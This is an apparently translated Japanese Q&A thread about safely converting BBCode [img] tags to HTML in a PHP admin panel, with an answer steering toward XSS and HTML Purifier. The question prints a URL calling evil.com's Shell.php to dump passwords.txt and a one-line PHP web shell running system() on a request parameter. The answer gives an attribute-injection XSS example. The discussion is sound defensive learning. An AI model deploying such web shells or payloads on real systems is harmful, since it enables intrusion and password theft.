web-dev-qa-db-ja.com

PHP)のBBCodeタグを安全に解釈する

私は自分のウェブサイトのために一種の管理者パネルを作ろうとしているので、例えば私のウェブサイトにニュース記事を簡単に追加できます。問題は、管理者が一種のBBCodeを使用できるはずですが、これを安全な方法で行う必要があります。

[h1][b][i]などのタグの場合は問題ありません。それらは、<h1><b>、および<i>に置き換えることができます。しかし、たとえば[img]タグで問題が発生しています。

[img]http://image-Host.com/cat.png[/img][img]に置き換えても、<img>は問題ありません。しかし、例を挙げると、これは問題になります。

[img]http://evil.com/Shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img]

画像に反応するユーザー、または悪意のある管理者は、シェルまたはその他の悪意のあるコードにURLを与える可能性があります。

このコードでテスト済み:

test1.php:

<html>
        <img src="cat.jpeg" /><br>
        <img src="http://localhost/test2/danger1.php?cmd=echo $(cat ../test/passwords.txt) > stolenPasswords.txt" />
</html>

danger1.php:

<?php
        $x = system($_GET["cmd"]);
?>

通常の画像検証は、リモートでも満足できますか?私見では、evil.comが.png画像をコードとして解釈できるNginxサーバーである可能性があるからではありません。

コード(PHP)でそれを行う方法だけでなく、サーバー構成によってそれを保護する方法についても質問しています。

TL; DR
BBCodeのようなタグのようなものを使用して、管理者とユーザーが太字と斜体のテキストと画像を設定できるパネルを保護するにはどうすればよいですか?

1
O'Niel

サーバーにWebシェル(danger1.phpなど)がある場合、それはすでに ゲームオーバー です。 BBCodeを使用せずに簡単に悪用できます。一方、evil.comにWebシェルがある場合、それはあなたではなく、そのドメインを所有している貧しい人にとって問題です。

ユーザーが使用する画像を自分のサーバーにダウンロードすると、問題になります。そうすると、あらゆる種類のマルウェア、有効な画像に隠されたPHPなど)など、多くの問題が発生する可能性があります。これは危険なビジネスです。

ただし、[img]url[/img]<img src="url">に置き換えるだけの場合は、イメージをサーバーにダウンロードしていません。あなたはそれをホットリンクしています。サイトの訪問者は、サーバーから画像をダウンロードするのではなく、リンク元のサーバーから画像をダウンロードします。

ですから、ここで間違った問題を心配しているようです。怖がるのはXSSです。この画像はどうですか?

[img]https://example.com/cat.png" onClick="alert('XSS')[/img]

BBCodeの実装でXSSから保護することは有名に難しいです。多くの人が試みましたが失敗しました。 PHP BBCode拡張 がありますが それが良いかどうかはわかりません 。おそらくできるだけ多くのタグを無効にする必要があります可能で、出力を HTML purifier に接続して、安全を確保してください。

2
Anders